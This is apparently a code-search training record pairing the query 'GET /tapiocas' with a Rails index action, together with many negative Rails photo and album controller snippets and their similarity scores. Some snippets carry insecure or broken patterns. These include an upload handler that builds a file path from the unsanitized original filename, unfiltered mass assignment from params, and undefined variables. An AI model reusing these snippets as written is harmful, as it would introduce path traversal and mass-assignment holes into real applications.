=> params[:widescreenCaption]})\n\n Rails.logger.debug \"Update photo #{created}\"\n p \"Update photo #{created}\"\n\n photo.photo.recreate_versions! if needRecreate\n\n respond_with photo\n end", "def update\n @gallery = find_gallery#gallery = Gallery.find(params[:id])\n @image = find_image_in(gallery)#gallery.update(image_params)#see private method\n if @image.update(image_params)\n redirect_to @gallery\n else\n render :edit\n end #using helper method path instead\"/galleries/#{gallery.id}\"\n end", "def album_params\n params.require(:album).permit(:name, :student_id, photos_images: [])\n end", "def photo_params\n params.require(:photo).permit(:image, :kennel_id)\n end", "def update\n @photo_album = PhotoAlbum.find(params[:id])\n\n respond_to do |format|\n if @photo_album.update_attributes(params[:photo_album])\n flash[:notice] = 'PhotoAlbum was successfully updated.'\n format.html { redirect_to(user_photo_albums_url(current_user)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @photo_album.errors, :status => :unprocessable_entity }\n end\n end\n end", "def photo_params\n params.require(:photo).permit(:asset, :asset_remote_url, :rating, :gallery_id)\n end", "def update\n # ref = request.referrer\n @picture = current_user.pictures.find(params[:id])\n\n respond_to do |format|\n if @picture.update_attributes(params[:picture])\n format.html { redirect_to session[:ref] , notice: 'Picture was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @picture.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_profile_photo\n\t\t# checking the profile setting is present or not\n\t\tif !params[:profile_setting].present?\n\t\t\t# if present then navigate to the page\n\t\t\tredirect_to :back \n\t\telse\n\t\t# update the profile update images like cover photo and profile photo\n\t\t @profile_photos = @user.update_attributes(profile_setting_photo_params)\n\t\t # redirect to the user profile app page\n\t\t redirect_to user_profile_data_profile_path\n\t\tend\n\tend", "def update\n\t\t@user = User.find(params[:id])\n\t\tif params[:avatar_photo]\n\t\t\t@user.avatar_id = params[:avatar_photo].to_i\n\t\telsif params[:cover_photo]\n\t\t\t@user.cover_photo_id = params[:cover_photo].to_i\n\t\tend\n\n\t\tif @user.save\n\t\t\tflash[:success] = \"Photo Set!\"\n\t\t\tredirect_to request.referrer\n\t\telse\n\t\t\tflash[:error] = \"Couldn't set photo!\"\n\t\t\tredirect_to request.referrer\n\t\tend\n\tend", "def update_photo_album\n\t\tphoto_ids.each do |photo_id|\n\t\t\tphoto = SquarePhoto.find( photo_id )\n\t\t\tself.photo_album.square_photos << photo\n\t\tend\n\tend", "def update\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to [@photo.album, @photo], notice: '写真情報を変更しました。' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_photo\n @photo = Photo.find_by(id: params[:id]) \n end", "def verify_ownership\n @photo = Photo.find_by(id: params[:id] || params[:photo][:id])\n\n unless owner?(@photo)\n flash[:alert] = I18n.t(\"photos.ownership.error\")\n redirect_to gallery_path\n end\n end", "def set_photo\n Photo.find(params[:id])\n end", "def update\n unless params[:publication][:photo].nil?\n file = Rails.root.join(\"app\",\"assets\",\"images\",\"from_users\",session[:user].id.to_s(),params[:publication][:photo].original_filename)\n tmp = params[:publication][:photo].tempfile \n FileUtils.cp tmp.path, file \n p params[:publication]\n params[:publication][:photo] = File.join(\"from_users\",session[:user].id.to_s(),params[:publication][:photo].original_filename)\n end\n @publication = Publication.find(params[:id])\n\n respond_to do |format|\n if @publication.update_attributes(params[:publication])\n format.html { redirect_to \"/publication/\"+@publication.id.to_s(), notice: 'Публикация успешно обновлена.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @publication.errors, status: :unprocessable_entity }\n end\n end\n end", "def photo_params\n params.require(:photo).permit(:image, :album_id, :caption)\n end", "def update\n @photo_library = PhotoLibrary.find(params[:id])\n\n respond_to do |format|\n if @photo_library.update_attributes(params[:photo_library])\n format.html { redirect_to @photo_library, notice: 'Photo library was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo_library.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_photo\n# @photo = Photo.find(params[:id])\n end", "def create\n @photo = Photo.new(params[:photo])\n @photo.user_id=session[:user_id]\n @photo.album_id= params[:photo][:album_id]\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n if photo_authorize(@photo)\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n taggable_guests = [groom, bride]\n\n taggable_guests.each do |taggable_guest|\n if params.has_key?(:taglist) and params[:taglist][taggable_guest.id.to_s] == \"true\" \n @photo.guests << taggable_guest unless @photo.guests.include?(taggable_guest)\n else\n @photo.guests.delete(taggable_guest) if @photo.guests.include?(taggable_guest)\n end\n end\n format.html { redirect_to photos_path, notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def update\n if params.has_key?(:cover) and params[:cover].has_key?(:file_attachment_original_w)\n #params[:cover][:file_attachment_box_w] = 1000\n if params[:cover][:file_attachment_original_w].to_f > 1000\n scale_factor = params[:cover][:file_attachment_original_w].to_f / 1000\n params[:cover][:file_attachment_crop_x] = params[:cover][:file_attachment_crop_x].to_f * scale_factor\n params[:cover][:file_attachment_crop_y] = params[:cover][:file_attachment_crop_y].to_f * scale_factor\n params[:cover][:file_attachment_crop_w] = params[:cover][:file_attachment_crop_w].to_f * scale_factor\n params[:cover][:file_attachment_crop_h] = params[:cover][:file_attachment_crop_h].to_f * scale_factor\n end\n end\n\n respond_to do |format|\n if @cover.update_attributes(cover_params)\n format.html { redirect_to current_user, notice: 'Cover Pic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cover.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_profile_photo\n\t\t# update the profile update images like cover photo and profile photo\n\t\t if @user.update_attributes(profile_image: params[:profile_image],cover_image: params[:cover_image])\n\t\t# response to the JSON\n\t\t\trender json: { success: true,message: \"Profile photo Successfully Updated.\", response: {cover_image: @user.cover_image.as_json, profile_image: @user.profile_image.as_json } },:status=>200\n\t else\n\t render :json=> { success: false, message: @user.errors },:status=> 203\n\t end\t\n\tend", "def set_photo\n @possible_photos = get_possible_photos\n @photo = @possible_photos.find_by_id(params[:id])\n end", "def update\n @album = current_user.albums.find(params[:id])\n\n respond_to do |format|\n if @Album.update_attributes(params[:album])\n format.html { redirect_to @album, notice: 'album was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @Album.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_picture\n @picture = @album.pictures.find(params[:id])\n end", "def set_photo\n @photo = photo.find(params[:id])\n end", "def update\n respond_to do |format|\n if @private_album.update(private_album_params)\n format.html { redirect_to @private_album, notice: 'Private album was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @private_album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @album2photo = Album2photo.find(params[:id])\n\n respond_to do |format|\n if @album2photo.update_attributes(params[:album2photo])\n format.html { redirect_to @album2photo, notice: 'Album2photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @album2photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_rock_photo\n if params[:uuid].nil?\n params[:uuid] = params[:id]\n end\n @rock_photo = RockPhoto.find(params[:uuid])\n end", "def update\n if params[:product][:photos_attributes][:'0'] != nil\n @photo = Photo.find(params[:product][:photos_attributes][:'0'][:id])\n @photo.update(image: params[:product][:photos_attributes][:'0'][:image])\n end\n if params[:product][:photos_attributes][:'1'] != nil\n @photo = Photo.find(params[:product][:photos_attributes][:'1'][:id])\n @photo.update(image: params[:product][:photos_attributes][:'1'][:image])\n end\n if params[:product][:photos_attributes][:'2'] != nil\n @photo = Photo.find(params[:product][:photos_attributes][:'2'][:id])\n @photo.update(image: params[:product][:photos_attributes][:'2'][:image])\n end\n if params[:product][:photos_attributes][:'3'] != nil\n @photo = Photo.find(params[:product][:photos_attributes][:'3'][:id])\n @photo.update(image: params[:product][:photos_attributes][:'3'][:image])\n end\n if params[:product][:photos_attributes][:'4'] != nil\n @photo = Photo.find(params[:product][:photos_attributes][:'4'][:id])\n @photo.update(image: params[:product][:photos_attributes][:'4'][:image])\n end\n\n respond_to do |format|\n if @product.update(product_update_params)\n\tformat.html { redirect_to products_url, notice: '产品已审核成功' }\n\tformat.json { render :show, status: :ok, location: @product }\n else\n\tformat.html { render :edit }\n\tformat.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.7001577", "0.6906989", "0.67637694", "0.67520857", "0.6647662", "0.6615151", "0.6552947", "0.6551689", "0.6550872", "0.6446365", "0.6439794", "0.64313036", "0.6426188", "0.6425772", "0.63961726", "0.63713", "0.6371026", "0.6359979", "0.6359942", "0.63452965", "0.63356364", "0.63036674", "0.62889856", "0.6284603", "0.6276607", "0.6258629", "0.625793", "0.62578547", "0.6246982", "0.6246812", "0.62431395", "0.6217042", "0.6207043", "0.62047607", "0.6201357", "0.6195342", "0.6188451", "0.61851025", "0.61790085", "0.61780876", "0.61764574", "0.61666363", "0.61665004", "0.6164528", "0.6149369", "0.61491525", "0.614656", "0.61413676", "0.6139029", "0.6138206", "0.6136234", "0.61180556", "0.61164755", "0.61092985", "0.610554", "0.609591", "0.6092861", "0.6078378", "0.6077244", "0.6075585", "0.6071788", "0.6069149", "0.6063304", "0.6061767", "0.60569406", "0.6051194", "0.6046901", "0.6042761", "0.60386753", "0.6037076", "0.6035431", "0.6032005", "0.6029661", "0.60190547", "0.6017505", "0.6016747", "0.599752", "0.59782225", "0.5977513", "0.5977217", "0.597004", "0.59660876", "0.5965735", "0.5961535", "0.5961343", "0.5960561", "0.5958382", "0.5956496", "0.59504056", "0.59502435", "0.5948762", "0.59476256", "0.5947586", "0.5946533", "0.59440523", "0.5936815", "0.5934054", "0.5932216", "0.59277415", "0.59239763" ]
0.638676
15
GET /tapiocas GET /tapiocas.json
def index @tapiocas = Tapioca.all @hash = Gmaps4rails.build_markers(@tapiocas) do |tapioca, marker| marker.lat tapioca.latitude marker.lng tapioca.longitude end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @tacos = Taco.all\n\n respond_to do |format|\n format.html { render :index }\n format.json { render @tacos }\n end\n end", "def index\n @tocs = Toc.all\n end", "def index\n @tccapis = Tccapi.all\n end", "def index\n @apoios = Apoio.all\n end", "def index\n @anuncios = Anuncio.all\n render json: @anuncios, status: :ok\n end", "def index\n @ativo_outros = AtivoOutro.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ativo_outros }\n end\n end", "def index\n @tangazos = Tangazo.all\n end", "def tattoos\n render :nothing => true and return if params[:id].nil?\n\n @tattoo = Tattoo.find(params[:id])\n render :json => @tattoo.to_json(:include => [:artist, :assets])\n #render :json => @tattoo.to_json(:include => { :assets => { :only => [:id, :data_file_name] } })\n return\n end", "def index\n @tintas = Tinta.all\n end", "def index\n @tutorados = Tutorado.all\n\n render json: @tutorados, status: :ok\n end", "def index\n \n @controles_asistencias = ControlAsistencia.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @controles_asistencias }\n end\n end", "def index\n @ofertas = Oferta.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ofertas }\n end\n end", "def index\n @ocats = Ocat.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ocats }\n end\n end", "def index\n @contas = Conta.all\n respond_to do |format|\n format.json { render json: @contas.to_json, status: :ok }\n end\n end", "def index\n @terceros = Tercero.all\n end", "def index\n @socio_serasas = SocioSerasa.all\n end", "def index\n @tecidos = Tecido.all\n end", "def index\n @peticion_servicio_tis = Peticion::ServicioTi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @peticion_servicio_tis }\n end\n end", "def index\n @api_v1_todos = Todo.all\n render json: @api_v1_todos\n end", "def index\n @socios = Socio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @socios }\n end\n end", "def index\n @territorios = Territorio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @territorios }\n end\n end", "def index\n @anios = Anio.all\n end", "def index\n @tropas = Tropa.all\n end", "def index\n @acuerdos = Acuerdo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @acuerdos }\n end\n end", "def index\n @ctos = Cto.all\n end", "def index\n @representante_athletes = current_user.organization.athletes\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @representante_athletes }\n end\n end", "def index\n @tucdocs = Tucdoc.all\n end", "def index \n @lancamentorapido = Lancamentorapido.new \n @lancamentorapidos = Lancamentorapido.all\n \n @categorias = Category.all\n @centrosdecusto = Centrodecusto.all \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lancamentorapidos }\n end\n end", "def index\n @acoes = Acao.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @acoes }\n end\n end", "def index\n @assuntos = Assunto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @assuntos }\n end\n end", "def index\n @tarefas = @projeto.tarefas.all(:order => \"DtTermino\")\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tarefas }\n end\n end", "def index\n @agendas = Agenda.roots.order(\"position\")\n @write_right = userCould :timer\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @agendas }\n end\n end", "def index\n @hikiyamas = @omatsuri.hikiyamas\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @hikiyamas }\n format.json { render :json => @hikiyamas }\n end\n end", "def show\n @tdoc = Tdoc.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tdoc }\n end\n end", "def index\n if params[:tea] && params[:tea][:category]\n @teas = Tea.where(:category => params[:tea][:category])\n else\n @teas = Tea.all\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @teas }\n end\n end", "def index\n @etapas = Etapa.all\n end", "def index\n @to_dos = ToDo.all\n\n render json: @to_dos\n end", "def listar()\n @client.get(Route.new([ROTA_DID]))\n end", "def show\n @tatoos = Tatoo.all\n end", "def index\n @apologetics = Apologetic.all\n end", "def index\n @turmas = Turma.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @turmas }\n end\n end", "def index\n @cooperativas = Cooperativa.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cooperativas }\n end\n end", "def index\r\n @chapas = Chapa.all\r\n respond_with(@chapas)\r\n end", "def index\n @casas = Casa.all\n end", "def show\n @osoba = Osoba.find(params[:id])\n\n render json: @osoba\n end", "def contas\n list_contas = JSON.parse(get_and_give_me_a_json(\"/contas\"))\n rtn = []\n list_contas.each do |c_map|\n conta = Taxcalendario::Admin::Client::Entities::Conta.new\n conta.from_hash(c_map)\n rtn << conta\n end\n rtn\n end", "def index\n @articulos = Articulo.where(\"tipo = 'articulo'\").order(\"created_at desc\") \n @noticias = Articulo.where(\"tipo = 'noticia' and mostrar_carrusel='1'\").order(\"created_at desc\").limit(3)\n @articulos = @articulos.page(params[:page]).per_page(5)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articulos }\n end\n end", "def index\n @os_types = OsType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @os_types, except: [:desc, :created_at, :updated_at] } \n end\n end", "def index\n @tsps = Tsp.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json:@tsps }\n end\n end", "def index\n @taux_tvas = current_user.parametres_cabinet.taux_tvas.all\n\n respond_to do |format|\n format.html {render :layout => \"light\"} # index.html.erb\n format.xml { render :xml => @taux_tvas }\n format.json {render :json => {\"success\"=>true,\"data\"=>@taux_tvas}}\n \n end\n end", "def index\n @tipoapreensoes = Tipoapreensao.all\n end", "def index\n @uchronias = Uchronia.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @uchronias }\n end\n end", "def index\n @cta = Cta.all\n end", "def index\n @ores = Ore.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ores }\n end\n end", "def overview\n request_uri = \"#{@api_endpoint}/#{@key}\"\n HTTParty.get(request_uri)\n end", "def overview\n request_uri = \"#{@api_endpoint}/#{@key}\"\n HTTParty.get(request_uri)\n end", "def index\n @anuncios = Anuncio.all.paginate(page: params[:page], per_page: 4 )\n\n respond_to do |format|\n format.html\n format.json { render json: @jobs }\n end\n end", "def index\n @titulaciones = Titulacion.all\n end", "def index\n @observaciontutors = Observaciontutor.all\n end", "def index\n @ts = T.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ts }\n end\n end", "def index\n @ginasios = Ginasio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ginasios }\n end\n end", "def index\n @user = current_user;\n @toeic_logs = ToeicLog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @toeic_logs }\n end\n end", "def get_all\n get_docs\n get_text\n return JSON.pretty_generate(@data)\n end", "def index\n @antecedentes = Antecedente.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @antecedentes }\n end\n end", "def index\n @anuncios = Anuncio.all\n end", "def index\n @stoc = Stoc.new\n @rutas = Ruta.por_empresa(current_usuario.empresa_id)\n end", "def index\n @tutor = Tutor.all\n\n render json: @tutor, status: :ok\n end", "def index\n @patrocinios = Patrocinio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @patrocinios }\n end\n end", "def index\n @colegios = Colegio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @colegios }\n end\n end", "def index\n @estadios = Estadio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @estadios }\n end\n end", "def index\n @ventas = Venta.order(\"fecha desc\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ventas }\n end\n end", "def index\n @tenures = Tenure.all.order(\"updated_at DESC\").order(\"created_at DESC\")\n\n render json: @tenures\n end", "def index\n @tutorials = Tutorial.all\n\n respond_to do |format|\n format.html\n format.json do\n render json: @tutorials\n end\n end\nend", "def index\n @tarots = Tarot.all\n end", "def index\n @tipo_apostas = TipoAposta.all\n end", "def index\n @tamanhos = Tamanho.all\n end", "def index\n current_admin_user\n @tablets = Tablet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tablets }\n end\n end", "def index\n @tobaccos = Tobacco.all\n end", "def index\n @asociados = Asociado.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @asociados }\n end\n end", "def index\n @himalayas ||= Himalaya.limit(10).order('id desc')\n @descuentos ||= Descuento.limit(10).order('id desc')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @himalayas }\n end\n end", "def terms\n @api_v1_pages = Api::V1::Page.where('title = \"terms\"').first\n\n render json: @api_v1_pages\n end", "def index\n @tutorials = Tutorial.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tutorials }\n end\n end", "def index\n @tatoos = Tatoo.where(premium: [false, nil])\n @tatoos = @tatoos.paginate(per_page: (bot_request? ? @tatoos.count : 20), page: params[:page])\n end", "def index\n @contas = Conta.where(nil) #Inicia Escopo\n @contas = @contas.conta_numero(params[:contaNumero]) if params[:contaNumero].present?\n @contas = @contas.conta_descricao(params[:contaDescricao]) if params[:contaDescricao].present?\n @contas = @contas.agencia_numero(params[:agenciaNumero]) if params[:agenciaNumero].present?\n @contas = @contas.banco_id(params[:bancoId]) if params[:bancoId].present?\n\n @contas = @contas.paginate(:page => params[:page], :per_page => params[:per_page])\n respond_to do |format|\n format.html { render :index }\n format.json { render json: {contas: @contas.as_json(:include => [:banco], methods: [:conta, :agencia, :saldo]), total: @contas.total_entries}}\n end\n end", "def index\n @tipo_usuarios = TipoUsuario.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tipo_usuarios }\n end\n end", "def show\n @tarefa = Tarefa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tarefa }\n end\n end", "def index\n @contas_a_pagar = ContaAPagar.all\n end", "def index\n ota = Array.new\n if params[:facility].nil?\n # 自分の施設情報だけを返す\n facilities = current_user.facilities\n facilities.each do |facility|\n ota.concat(\n facility.ota.select do |otum|\n otum.provider != 'default'\n end\n )\n end\n else\n # facility=[facility_id]\n facility = Facility.find_by(id: params[:facility].to_i)\n # 施設IDが存在しない場合\n if facility.nil?\n response = {\n status: 'NotFound',\n message: 'ota not found'\n }\n return render json: response, status: 404\n end\n # ユーザーの施設IDでない場合\n if facility.user_id != current_user.id\n response = {\n status: 'NotFound',\n message: 'ota not found'\n }\n return render json: response, status: 404\n end\n\n ota.concat(\n facility.ota.select do |otum|\n otum.provider != 'default'\n end\n )\n end\n\n render json: {\n status: 'Success',\n message: '',\n ota: ota.as_json(except: [\n :password,\n :token,\n :created_at,\n :updated_at\n ], include: [\n :ota_rooms\n ])\n }, status: 200\n end", "def index\n @testowas = Testowa.all\n end", "def index\n @apis = Api.all\n end", "def index\n @how_tos = HowTo.all\n end", "def index\n @cursos = Curso.all_active\n @curso = Curso.new\n @programas = Programa.all_active\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cursos }\n end\n end", "def show\n @torso = Torso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @torso }\n end\n end", "def index\n @concursos = Concurso.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @concursos }\n end\n end", "def index\n @gets = Get.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gets }\n end\n end", "def index\n @authos = Autho.all\n end", "def index\n @adocao_animals = AdocaoAnimal.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @adocao_animals }\n end\n end", "def index\n @articulocomps = Articulocomp.all\n\n respond_to do |format|\n format.html # index.html.erb\n #format.json { render json: @articulocomps }\n end\n end", "def index\n @tamires = Tamire.all\n end", "def index\n @bitacoras = Bitacora.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bitacoras }\n end\n end", "def index\n @anteproyecto_observaciones = AnteproyectoObservacion.all\n end" ]
[ "0.6940787", "0.66825086", "0.6646059", "0.6398644", "0.63228947", "0.6307126", "0.61926484", "0.6151571", "0.6131858", "0.61314875", "0.61283803", "0.6117644", "0.6100829", "0.6095741", "0.6084428", "0.60658044", "0.60533553", "0.6053348", "0.6037764", "0.60281074", "0.6021601", "0.600395", "0.59961796", "0.5995124", "0.5990894", "0.59828514", "0.5971617", "0.5968934", "0.5966124", "0.59611005", "0.59586215", "0.5943088", "0.592227", "0.59102726", "0.5910116", "0.59083855", "0.5908152", "0.59052724", "0.5902424", "0.5900277", "0.5891606", "0.5880196", "0.5870949", "0.58694077", "0.5865463", "0.58640003", "0.58624715", "0.58622146", "0.5855089", "0.58548605", "0.585188", "0.5835891", "0.58301866", "0.5823456", "0.5820002", "0.5820002", "0.58172715", "0.5812596", "0.5809748", "0.58057207", "0.5800226", "0.57942635", "0.5792571", "0.5788244", "0.57872885", "0.5786762", "0.5781821", "0.57720774", "0.57676995", "0.57675046", "0.57664436", "0.5762918", "0.5754656", "0.57486707", "0.5745755", "0.5741619", "0.5741547", "0.5736196", "0.57357055", "0.57317007", "0.5730231", "0.57295144", "0.57263726", "0.57253176", "0.57246155", "0.57224405", "0.57222223", "0.57202494", "0.57190657", "0.5715952", "0.571053", "0.5706792", "0.57066524", "0.57044816", "0.5696986", "0.56951654", "0.5693894", "0.5692986", "0.5692965", "0.5688112", "0.56879926" ]
0.0
-1
GET /tapiocas/1 GET /tapiocas/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @tacos = Taco.all\n\n respond_to do |format|\n format.html { render :index }\n format.json { render @tacos }\n end\n end", "def index\n @tccapis = Tccapi.all\n end", "def index\n @tocs = Toc.all\n end", "def index\n @apoios = Apoio.all\n end", "def tattoos\n render :nothing => true and return if params[:id].nil?\n\n @tattoo = Tattoo.find(params[:id])\n render :json => @tattoo.to_json(:include => [:artist, :assets])\n #render :json => @tattoo.to_json(:include => { :assets => { :only => [:id, :data_file_name] } })\n return\n end", "def index\n @tintas = Tinta.all\n end", "def index\n @anuncios = Anuncio.all\n render json: @anuncios, status: :ok\n end", "def index\n @ofertas = Oferta.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ofertas }\n end\n end", "def index\n @ativo_outros = AtivoOutro.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ativo_outros }\n end\n end", "def index\n @api_v1_todos = Todo.all\n render json: @api_v1_todos\n end", "def index\n @tangazos = Tangazo.all\n end", "def index\n @terceros = Tercero.all\n end", "def show\n @osoba = Osoba.find(params[:id])\n\n render json: @osoba\n end", "def index\n @tecidos = Tecido.all\n end", "def show\n @tdoc = Tdoc.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tdoc }\n end\n end", "def index\n @ctos = Cto.all\n end", "def show\n @tatoos = Tatoo.all\n end", "def index\n \n @controles_asistencias = ControlAsistencia.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @controles_asistencias }\n end\n end", "def index\n @tarefas = @projeto.tarefas.all(:order => \"DtTermino\")\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tarefas }\n end\n end", "def index\n @tropas = Tropa.all\n end", "def index\n @territorios = Territorio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @territorios }\n end\n end", "def index\n @tutorados = Tutorado.all\n\n render json: @tutorados, status: :ok\n end", "def show\n @tarefa = Tarefa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tarefa }\n end\n end", "def index\n @tsps = Tsp.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json:@tsps }\n end\n end", "def index\n @socio_serasas = SocioSerasa.all\n end", "def index\n @cooperativas = Cooperativa.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cooperativas }\n end\n end", "def index\n @contas = Conta.all\n respond_to do |format|\n format.json { render json: @contas.to_json, status: :ok }\n end\n end", "def show\n @torso = Torso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @torso }\n end\n end", "def index\n @peticion_servicio_tis = Peticion::ServicioTi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @peticion_servicio_tis }\n end\n end", "def index\n @cta = Cta.all\n end", "def index\n @socios = Socio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @socios }\n end\n end", "def index\n @anios = Anio.all\n end", "def create\n @tapioca = Tapioca.new(tapioca_params)\n\n respond_to do |format|\n if @tapioca.save\n format.html { redirect_to @tapioca, notice: 'Tapioca was successfully created.' }\n format.json { render action: 'show', status: :created, location: @tapioca }\n else\n format.html { render action: 'new' }\n format.json { render json: @tapioca.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @ocats = Ocat.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ocats }\n end\n end", "def index \n @lancamentorapido = Lancamentorapido.new \n @lancamentorapidos = Lancamentorapido.all\n \n @categorias = Category.all\n @centrosdecusto = Centrodecusto.all \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lancamentorapidos }\n end\n end", "def index\n @ts = T.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ts }\n end\n end", "def show\n @articulo = Articulo.find(params[:id])\n @noticias = Articulo.where(\"tipo = 'noticia'\").order(\"created_at desc\")\n @title = @articulo.titulo\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @articulo }\n end\n end", "def index\n @taux_tvas = current_user.parametres_cabinet.taux_tvas.all\n\n respond_to do |format|\n format.html {render :layout => \"light\"} # index.html.erb\n format.xml { render :xml => @taux_tvas }\n format.json {render :json => {\"success\"=>true,\"data\"=>@taux_tvas}}\n \n end\n end", "def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tecnico }\n end\n end", "def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tecnico }\n end\n end", "def index\n @tucdocs = Tucdoc.all\n end", "def show\n @aactio = Aactio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @aactio }\n end\n end", "def index\n if params[:tea] && params[:tea][:category]\n @teas = Tea.where(:category => params[:tea][:category])\n else\n @teas = Tea.all\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @teas }\n end\n end", "def index\n @uchronias = Uchronia.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @uchronias }\n end\n end", "def show\n @apunte = Apunte.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @apunte }\n end\n end", "def index\n @os_types = OsType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @os_types, except: [:desc, :created_at, :updated_at] } \n end\n end", "def index\n @turmas = Turma.all\n respond_to do |format|\n format.html # 